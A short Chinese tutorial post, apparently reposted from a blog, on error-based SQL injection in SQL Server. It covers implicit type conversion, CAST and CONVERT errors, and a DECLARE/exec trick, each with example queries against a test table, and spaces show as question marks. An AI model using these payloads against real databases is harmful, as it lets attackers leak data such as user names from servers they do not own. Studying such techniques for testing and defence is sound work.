SQL Server从0到1——报错注入

发布时间:2024年01月04日

报错注入分为三类:隐式转换,和显示转换,declare函数 隐式转换:

原理:将不同数据类型的数据进行转换或对比
select?*?from?test.dbo.users?where?(select?user)>0??#对比
select?*?from?test.dbo.users?where?((select?user)/1)=1?#运算

?

显示转换:

原理:
依靠:CAST,DECLARE和CONVERT函数进行数据类型转,当如果转化的是有关查询语句的结果,那么就会触发报错,但注意只能爆一个字符串
select?'naihe567'?as?name,'567'?as?num)as??b#这里我们使用了select?创建了一个自定义的临时表方便观察
select?cast((select?name?from?(select?'naihe567'?as?name,'567'?as?num)as??b)?as?int)?#cast函数
select?convert(int,(select?name?from?(select?'naihe567'?as?name,'567'?as??num)as?b))?#convert函数
declare?@s?varchar(2000)?set?@s='select?naihe567'?exec(@s)?#declare

?

文章来源:https://blog.csdn.net/2301_80520893/article/details/135286198
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。